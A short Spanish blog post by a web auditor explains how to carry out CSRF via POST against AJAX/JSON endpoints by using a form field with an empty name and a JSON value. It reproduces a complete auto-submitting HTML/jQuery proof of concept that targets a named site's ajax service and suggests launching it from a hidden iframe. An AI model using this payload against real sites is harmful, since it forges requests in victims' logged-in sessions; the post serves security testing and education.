Buenas
Leyendo la lista webappsec de securityfocus.com alguien preguntaba cómo se podía hacer CSRF mediante POST. Cuando estube haciendo una auditoría web tuve problemas para realizar esto mismo, CSRF mediante POST en Aplicaciones web AJAX donde no se utiliza el típico formulario con los pares nombre = valor. La solución es crear un formulario con nombre vacío y valor, el JSON o el formato AJAX que la aplicación necesite.
http://blog.runxc.com/post/2009/07/06/CSRF-by-Example-How-to-do-it-How-to-defend-it.aspx
En la web ponen el siguiente ejemplo:
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1" runat="server">
<title>RunXc CSRF example</title>
<script type="text/javascript"
src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
var kickit = location.search.substring(4);
$('#hidDiv').html(
'<form name="csrf" id="csrf" ' +
'action="http://dotnetkicks.com/services/ajax/ajaxservices.ashx" method="post">' +
' <input type="hidden" name="" value=' + "'" +
'{"id":1,"method":"kickStory","params":['+ kickit +',true]}' + "'" + '/>' +
' </form>');
document.getElementById("csrf").submit();
});
</script>
</head><body>
<form id="form1" runat="server">
<div>
</div>
</form>
<div id="hidDiv" style="display:none;">
</div>
</body>
</html>
Luego se podría incluir un iframe que lance ese código.
David
No hay comentarios:
Publicar un comentario